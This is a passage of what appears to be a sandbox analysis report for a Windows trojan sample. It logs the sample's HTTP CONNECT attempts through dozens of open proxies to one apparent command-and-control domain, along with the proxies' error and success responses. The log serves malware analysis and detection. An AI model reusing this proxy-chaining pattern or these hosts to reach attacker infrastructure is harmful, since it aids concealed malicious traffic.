Feb 23, 2024 14:28:31.492214918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.8	50733	164.163.21.14	8291	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.416699886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.8	50609	8.213.128.6	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.417768002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.729356050 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.8	50736	212.127.93.185	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.419789076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.8	50594	27.65.30.37	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.452094078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.8	50831	199.229.254.129	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.454174995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.8	50861	104.22.50.220	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.462970972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.550426006 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.8	50791	82.223.121.72	54368	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.470921993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.975969076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.601053953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.991956949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.491945028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.991920948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.492724895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.492392063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.491822958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.8	49879	1.1.104.70	9999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.471142054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.491761923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.853214025 CET	823	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:26 GMT Server: Apache/2.4.48 (Unix) Content-Length: 633 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 79 6f 75 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 38 20 28 55 6e 69 78 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at you@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.48 (Unix) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.8	50643	103.118.46.61	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.476648092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.822316885 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.8	50752	181.209.110.190	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.482455969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.020791054 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.8	50498	188.87.137.45	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.494709969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.940346956 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1002 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 46 72 69 2c 20 32 33 20 46 65 62 20 32 30 32 34 20 31 33 3a 32 38 3a 32 33 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Fri, 23 Feb 2024 13:28:23 GMT</p></d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.8	50725	122.116.150.2	9000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.494976044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.8	50815	45.11.95.165	5032	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.507812023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.8	50766	93.90.212.2	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.508203030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.8	50717	208.109.14.49	35618	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.526257992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.210350990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.179183006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.179615021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.194981098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.195072889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.8	50715	167.172.91.47	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.528270960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.018083096 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.8	50812	187.40.1.122	128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.535392046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.737026930 CET	39	IN	HTTP/1.1 200 Connection established
Feb 23, 2024 14:29:08.917932987 CET	1286	IN	HTTP/1.1 500 Internal Server Error Server: squid/5.2 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:29:02 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17038 X-Squid-Error: ERR_CANNOT_FORWARD 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 39 66 39 66 39 20 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 65 67 6f 65 2c 20 27 53 65 67 6f 65 20 55 49 27 2c 20 27 44 65 6a 61 56 75 20 53 61 6e 73 27 2c 20 27 54 72 65 62 75 63 68 65 74 20 4d 53 27 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 41 76 69 73 6f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 27 20 6e 61 6d 65 3d 27 76 69 65 77 70 6f 72 74 27 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 63 37 63 61 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 68 65 69 67 68 74 3a 20 31 30 30 25 3b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 72 65 74 69 63 65 6e 63 69 61 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 20 65 6c 6c 69 70 73 69 73 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 39 36 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 43 41 4e 4e 4f 54 5f 46 4f 52 57 41 52 44 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 20 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 20 73 74 79 6c 65 3d 22 6d 69 6e 2d 77 69 64 74 68 3a 35 30 30 70 78 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 73 2d 38 22 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 35 30 70 78 3b 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 0a 3c 69 6d 67 20 63 6c 61 73 73 3d 22 64 65 6e 79 5f 6c 6f 67 6f 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 4e 63 41 41 41 41 76 43 41 59 41 41 41 42 Data Ascii: <!DOCTYPE html><html style="background-color: #f9f9f9 !important;font-family:Segoe, 'Segoe UI', 'DejaVu Sans', 'Trebuchet MS', Verdana, sans-serif;"> <head> <meta charset="UTF-8"> <title>Aviso</title> <meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'> <style> html{background: #3c7ca0 !important;} body{background: transparent !important;height: 100%;} .reticencias { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; width:96%; margin-bottom:0 !important; } </style> </head> <body id="ERR_CANNOT_FORWARD" style="font-size:12px; "> <div class="container" align="center"> <div class="row" style="min-width:500px"> <div class="col-xs-8" style="text-align:center;padding-top:50px; padding-bottom:10px"><img class="deny_logo" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAANcAAAAvCAYAAAB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.8	50880	162.243.102.207	9764	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.538219929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.8	50850	153.19.91.77	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
